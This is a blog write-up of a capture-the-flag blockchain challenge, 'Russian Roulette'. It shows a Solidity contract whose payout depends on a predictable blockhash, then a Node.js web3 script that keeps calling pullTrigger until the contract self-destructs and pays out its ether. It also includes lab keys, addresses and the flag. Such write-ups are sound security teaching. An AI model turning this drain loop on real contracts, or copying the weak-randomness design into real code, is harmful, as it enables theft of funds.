tkh4ck.github.io

Personal website and blog of tkh4ck

View on GitHub

HTB Cyber Apocalypse 2024: Hacker Royale - Russian Roulette

Challenge

Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?

Metadata

Solution

We get two smart contract implementations in Solidity: Setup.sol and RussianRoulette.sol.

Let’s start to analyze Setup.sol first:

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

The contract is pretty simple, it is a typical Setup.sol for a smart contract challenge. In the constructor, it initializes a RussianRoulette contract eith 10 ether and the isSolved function check whether the RussianRoulette contract has 0 ether.

Now let’s analyze the RussianRoulette.sol file:

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}

The pullTrigger function check whether the hash of the previous block modulo 10 is 7. If not, it returns a string, if yes, it destroys the contract and sends all ether in the contract to the caller.

The vulnerability

Eventually if we call pullTrigger a few times, we create new block and out of 10 block statistically form one of them the if condition will be true.

The solution

I’ve created a solve.js which calls the pullTrigger function until the challenge is solved. Also compiled the contracts to get the ABI JSON files (RussianRoulette_sol_RussianRoulette.json, Setup_sol_Setup.json):

$ sudo apt install nodejs
$ sudo apt install npm
$ sudo npm i -g web3
$ sudo npm i -g sol
$ sudo npm i -g solc@0.8.23
$ export NODE_PATH=$(npm root --quiet -g)
$ npx solcjs Setup.sol --bin --abi
const Web3 = require('web3');

const web3 = new Web3.Web3(new Web3.Web3.providers.HttpProvider('http://94.237.59.119:56217'));

const privateKey = '0xfeabee495252e1d68de99edee0e78a0a1c4be31f258fd71ae4d93a3392e8c0a1'
const signer = web3.eth.accounts.privateKeyToAccount(privateKey);
const Setup_deployedAddress = '0x6C093c4dD4aA6F0bb532CC47cf6216eb3F57e580';
const RussianRoulett_deployedAddress = '0xa3609eE8ebaEeA37BdC09915fb17dE3379409c2C';

const Setup_abi = require('./contracts/Setup_sol_Setup.json');
const SetupContract = new web3.eth.Contract(Setup_abi, Setup_deployedAddress);
const RussianRoulette_abi = require('./contracts/RussianRoulette_sol_RussianRoulette.json');
const RussianRoulettContract = new web3.eth.Contract(RussianRoulette_abi, RussianRoulett_deployedAddress);

async function callIsSolved() {
  return SetupContract.methods.isSolved().call();
}

async function callPullTrigger() {
  await RussianRoulettContract.methods.pullTrigger().send({
      from: signer.address,
      gas: 1000000,
    }).then(
    value => console.log('pullTrigger called')
  ).catch(error => console.error('Error calling pullTrigger: ', error));
}

async function exploit() {
  var solved = await callIsSolved()
  console.log(`Solved: `, solved)
  while (solved == false){
    await callPullTrigger()
    solved = await callIsSolved()
    console.log(`Solved: `, solved)
  }
}

exploit()
$ node solve.js
Solved: false
pullTrigger called
Solved: false
pullTrigger called
Solved: false
pullTrigger called
Solved: false
pullTrigger called
Solved: true

Now let’s try to get the flag from the other port:

$ nc 94.237.59.119 41926
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key     :  0xbcbd57858f1e0604060bc2e6e4075589c95cbfdf3c8f05dac5963ff129393f37
Address         :  0x2e0C1FD6033b0D3d6ef69c3F1776c51bcD0d9715
Target contract :  0xC6F79C7Daf5943FC196C7d41f1A8F6802Db93D49
Setup contract  :  0x4e1CA36DbC9a3a5C46B32D664111CB87253b6582

$ nc 94.237.59.119 41926
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Some notes from the offical write-up: